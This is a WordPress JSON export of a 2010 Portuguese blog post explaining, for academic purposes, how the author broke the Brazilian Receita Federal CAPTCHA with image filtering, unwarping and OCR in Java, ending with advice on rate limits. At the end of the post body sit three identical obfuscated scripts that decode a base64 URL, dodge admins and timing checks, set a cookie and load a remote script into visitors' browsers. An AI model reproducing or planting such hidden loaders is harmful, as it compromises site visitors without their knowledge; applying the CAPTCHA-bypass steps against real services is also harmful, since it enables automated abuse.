{"id":454,"date":"2010-09-26T21:13:10","date_gmt":"2010-09-27T00:13:10","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=454"},"modified":"2025-10-26T22:43:16","modified_gmt":"2025-10-27T01:43:16","slug":"quebrando-captchas","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/26\/quebrando-captchas\/","title":{"rendered":"Quebrando CAPTCHAs"},"content":{"rendered":"<p style=\"text-align: justify;\"><a title=\"CAPTCHA\" href=\"http:\/\/pt.wikipedia.org\/wiki\/CAPTCHA\" target=\"_blank\" rel=\"noopener\">CAPTCHA<\/a>s (<em>Completely Automated Public Turing test to tell Computers and Humans Apart<\/em>\") s\u00e3o <a title=\"Testes de turing\" href=\"http:\/\/en.wikipedia.org\/wiki\/Turing_test\" target=\"_blank\" rel=\"noopener\">testes de Turing<\/a> automatizados que tentam descobrir se voc\u00ea \u00e9 um ser humano ou uma m\u00e1quina. Em s\u00edntese os CAPTCHAs s\u00e3o aquelas imagenzinhas embaralhadas que aparecem quando voc\u00ea vai fazer um post em um blog, fazer consulta ou cadastro em alguns sites.<\/p>\n<p style=\"text-align: justify;\">Por que utilizar? Ao utilizar um CAPTCHA em seu site, voc\u00ea evita que programas enviem spams, evita cadastros indevidos e tenta diminuir o uso informa\u00e7\u00f5es automatizadas em outros sites. Um exemplo de uso \u00e9 o meu <a title=\"Formul\u00e1rio de Contato\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/contato\/\" target=\"_blank\" rel=\"noopener\">formul\u00e1rio de contato<\/a>.<\/p>\n<p style=\"text-align: justify;\">Ser\u00e1 que o CAPTCHA \u00e9 realmente uma forma eficaz de descobrir se realmente \u00e9 um ser humano que est\u00e1 realizando a opera\u00e7\u00e3o? Se a gente consegue identificar o CAPTCHA, por que uma m\u00e1quina n\u00e3o conseguiria? Um dos alunos meu perguntou se haveria uma forma de se realizar isso. A escolha foi o CAPTCHA da Receita Federal: <a title=\"Receita Federal\" href=\"http:\/\/www.receita.fazenda.gov.br\/PessoaJuridica\/CNPJ\/cnpjreva\/Cnpjreva_Solicitacao.asp\" target=\"_blank\" rel=\"noopener\">http:\/\/www.receita.fazenda.gov.br\/PessoaJuridica\/CNPJ\/cnpjreva\/Cnpjreva_Solicitacao.asp<\/a><\/p>\n<p style=\"text-align: justify;\">Por quest\u00f5es de seguran\u00e7a n\u00e3o irei disponibilizar o c\u00f3digo, mas para fins acad\u00eamicos, demonstrarei que \u00e9 poss\u00edvel ultrapassar a barreira de alguns CAPTCHA. Alguns s\u00e3o f\u00e1ceis, outros nem tanto.<\/p>\n<p style=\"text-align: justify;\">Por exemplo, vamos ver o CAPTCHA do Facebook:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_474\" aria-describedby=\"caption-attachment-474\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Facebook.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-474 \" title=\"Captcha Facebook\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Facebook-300x173.png\" alt=\"Captcha Facebook\" width=\"300\" height=\"173\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Facebook-300x173.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Facebook.png 349w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-474\" class=\"wp-caption-text\">Captcha Facebook<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Esse CAPTCHA \u00e9 monocrom\u00e1tico, o que facilita um pouco e os ru\u00eddos existentes s\u00e3o uma bola de fundo e o texto torto. O do Orkut\/Google s\u00f3 tem o texto torto:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_475\" aria-describedby=\"caption-attachment-475\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Orkut.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-475 \" title=\"Captcha Orkut\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Orkut-300x237.png\" alt=\"Captcha Orkut\" width=\"300\" height=\"237\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Orkut-300x237.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Orkut.png 590w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-475\" class=\"wp-caption-text\">Captcha Orkut<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Vamos ao da Receita Federal:<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Receita-Federal-do-Brasil.png\"><\/a><\/p>\n<figure id=\"attachment_477\" aria-describedby=\"caption-attachment-477\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Receita-Federal-do-Brasil.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-477 \" title=\"Captcha Receita Federal do Brasil\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Receita-Federal-do-Brasil-300x231.png\" alt=\"Captcha Receita Federal do Brasil\" width=\"300\" height=\"231\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Receita-Federal-do-Brasil-300x231.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Captcha-Receita-Federal-do-Brasil.png 573w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-477\" class=\"wp-caption-text\">Captcha Receita Federal do Brasil<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Esse CAPTCHA \u00e9 muito mais complicado, h\u00e1 uma imagem de fundo que complica bastante, o texto est\u00e1 torto e s\u00e3o gerados v\u00e1rios tipos de CAPTCHAs diferentes, um com texto pontilhado, outro com um filtro esf\u00e9rico e esse da imagem com o texto torto em dois eixos. Vamos ao mais dif\u00edcil. Fiz um programinha pra automatizar a tarefa.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo que eu fiz foi obter a imagem do CAPTCHA. Essa etapa \u00e9 a mais f\u00e1cil, o c\u00f3digo para obter foi o seguinte:<\/p>\n<p>[cc lang=\"java\"]java.awt.Toolkit.getDefaultToolkit()<br \/>\n.createImage(new URL(\"http:\/\/www.receita.fazenda.gov.br\/scripts\/srf\/intercepta\/captcha.aspx?opt=image\"));[\/cc]<\/p>\n<p style=\"text-align: justify;\">Com essa imagem eu converto para uma BufferedImage e consigo pegar os valores de cada pixel pelo m\u00e9todo getRGB(x,y) e posso montar minha matriz. Agora \u00e9 s\u00f3 relembrar da \u00e9poca da Gradua\u00e7\u00e3o e Mestrado: Geometria Anal\u00edtica, C\u00e1lculo Num\u00e9rico, \u00c1lgebra Linear, Computa\u00e7\u00e3o Gr\u00e1fica, Extra\u00e7\u00e3o de Caracter\u00edsticas, ... No meu Mestrado trabalhei bastante com extra\u00e7\u00e3o de caracter\u00edsticas de imagens m\u00e9dicas: forma, cor, textura, identifica\u00e7\u00e3o de cluster, ... os conceitos s\u00e3o os mesmo, as caracter\u00edsticas que mudam.<\/p>\n<p>Os passos que executei para o texto torto e fonte forte foram:<\/p>\n<ul>\n<li style=\"text-align: justify;\">Utilizar um filtro de elimina\u00e7\u00e3o de ru\u00eddos. Implementei um filtro de mediana.<\/li>\n<li style=\"text-align: justify;\">Reduzir o espa\u00e7o de cores da imagem.<\/li>\n<li style=\"text-align: justify;\">Utilizar uma transforma\u00e7\u00e3o para \"endireitar a imagem\". No caso utilizei duas fun\u00e7\u00f5es cosseno. y=a*cos(b*x)+c e x=d*cos(e*f)+g. O mais dif\u00edcil foi identificar os coeficientes. Fui na tentativa e erro. Ainda n\u00e3o est\u00e1 100%.<\/li>\n<li style=\"text-align: justify;\">Dividir os caracteres. Poderia ser utilizado um <a title=\"K-means\" href=\"http:\/\/en.wikipedia.org\/wiki\/K-means_clustering\" target=\"_blank\" rel=\"noopener\">k-means<\/a> com k=4. J\u00e1 que sempre s\u00e3o 4 letras.<\/li>\n<li style=\"text-align: justify;\">Extrair os caracteres e utilizar para treinamento no OCR. Realizar essas etapas com um n\u00famero bom de letras. Obter o alfabeto todo seria o ideal.<\/li>\n<li style=\"text-align: justify;\">Aplicar o OCR identificando o texto.<\/li>\n<\/ul>\n<p>Segue o programinha:<\/p>\n<figure id=\"attachment_480\" aria-describedby=\"caption-attachment-480\" style=\"width: 126px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Convert-Image.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-480 \" title=\"-Convert Image\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Convert-Image-126x300.png\" alt=\"Convert Image\" width=\"126\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Convert-Image-126x300.png 126w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Convert-Image.png 227w\" sizes=\"auto, (max-width: 126px) 100vw, 126px\" \/><\/a><figcaption id=\"caption-attachment-480\" class=\"wp-caption-text\">Convert Image<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">A primeira imagem \u00e9 a original. A segunda \u00e9 com o filtro de mediana aplicado. A terceira com a redu\u00e7\u00e3o do espa\u00e7o de cores. A quarta \u00e9 com o \"endireitamento\" da imagem. E a quinta imagem \u00e9 com a sele\u00e7\u00e3o de caracteres.<\/p>\n<figure id=\"attachment_481\" aria-describedby=\"caption-attachment-481\" style=\"width: 126px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Convert-Image-1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-481\" title=\"Convert Image-1\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Convert-Image-1-126x300.png\" alt=\"Convert Image-1\" width=\"126\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Convert-Image-1-126x300.png 126w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Convert-Image-1.png 227w\" sizes=\"auto, (max-width: 126px) 100vw, 126px\" \/><\/a><figcaption id=\"caption-attachment-481\" class=\"wp-caption-text\">Convert Image-1 <\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Para fontes pontilhadas o filtro de ru\u00eddos tem que ser um pouco mais suave. Ele erra bastante, mas tamb\u00e9m acerta. Cada opera\u00e7\u00e3o dessa demora poucos milissegundos, como n\u00e3o h\u00e1 limite de tentativas e nem tempo de espera no site da Receita Federal, mesmo com v\u00e1rios erros a velocidade de descoberta do valor do CAPTCHA \u00e9 muito baixa, poucos segundos. O mais demorado \u00e9 o treinamento do OCR que \u00e9 feito uma \u00fanica vez. Para OCR utilizei a biblioteca <a title=\"JavaOCR\" href=\"http:\/\/sourceforge.net\/projects\/javaocr\/\" target=\"_blank\" rel=\"noopener\">JavaOCR<\/a>.<\/p>\n<p style=\"text-align: justify;\">Para demonstrar o \"endireitamento\" da imagem, que foi o que mais deu trabalho, pois foi na tentativa e erro, vou exibir uma imagem utilizando somente essa transforma\u00e7\u00e3o, a\u00ed fica f\u00e1cil entender o motivo das \u00faltimas imagens serem maiores. Eu poderia ter identificado pontos da imagem e feito interpola\u00e7\u00e3o de pontos para tra\u00e7ar uma curva, mas como \u00e9 s\u00f3 pra conceito, fiz da forma que achei mais simples.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_483\" aria-describedby=\"caption-attachment-483\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Endireitamento.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-483 \" title=\"Endireitamento\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Endireitamento-300x135.png\" alt=\"Endireitamento\" width=\"300\" height=\"135\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Endireitamento-300x135.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Endireitamento.png 456w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-483\" class=\"wp-caption-text\">Endireitamento<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Criei um filtro de \"efeito bandeira\" :). Por isso que a imagem fica maior. Portanto, se voc\u00ea quer um sistema seguro, a primeira dica \u00e9, coloque um limite m\u00e1ximo de tentativas, obrigue uma espera de alguns minutos para a pr\u00f3xima tentativa e coloque algumas perguntas inteligentes al\u00e9m do CAPTCHA.<\/p>\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>CAPTCHAs (Completely Automated Public Turing test to tell Computers and Humans Apart\") s\u00e3o testes de Turing automatizados que tentam descobrir se voc\u00ea \u00e9 um ser humano ou uma m\u00e1quina. Em s\u00edntese os CAPTCHAs s\u00e3o aquelas imagenzinhas embaralhadas que aparecem quando <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/26\/quebrando-captchas\/\">Continue lendo  <span class=\"screen-reader-text\">  Quebrando CAPTCHAs<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-454","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/454","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=454"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/454\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=454"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=454"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=454"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}